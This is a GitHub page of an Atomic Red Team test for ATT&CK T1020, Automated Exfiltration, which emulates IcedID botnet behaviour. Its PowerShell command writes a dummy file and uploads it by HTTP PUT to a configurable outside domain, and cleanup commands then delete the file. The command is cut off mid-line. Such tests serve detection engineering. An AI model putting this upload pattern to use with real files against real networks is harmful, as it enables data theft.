redcanaryco / atomic-red-team Public

Notifications   Fork 2.8k   Star 9.7k

<> Code   ⊙ Issues 6   Pull requests 4   ⊙ Actions   Wiki   Security   Insights

atomic-red-team / atomics / T1020 / **T1020.md**

56 lines (32 loc) · 1.61 KB

Preview   Code   Blame

Raw

T1020 - Automated Exfiltration

Description from ATT&CK

> Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.
>
> When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.

Atomic Tests

- Atomic Test #1 - IcedID Botnet HTTP PUT

Atomic Test #1 - IcedID Botnet HTTP PUT

Creates a text file Tries to upload to a server via HTTP PUT method with ContentType Header Deletes a created file

Supported Platforms: Windows

auto_generated_guid: 9c780d3d-3a14-4278-8ee5-faaeb2ccfbe0

Inputs:

Name	Description	Type	Default Value
file	Exfiltration File	String	C:\temp\T1020_exfilFile.txt
domain	Destination Domain	Url	https://google.com

Attack Commands: Run with `powershell`!

```
$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fi
```

Cleanup Commands:

```
$fileName = "#{file}"
Remove-Item -Path $fileName -ErrorAction Ignore
```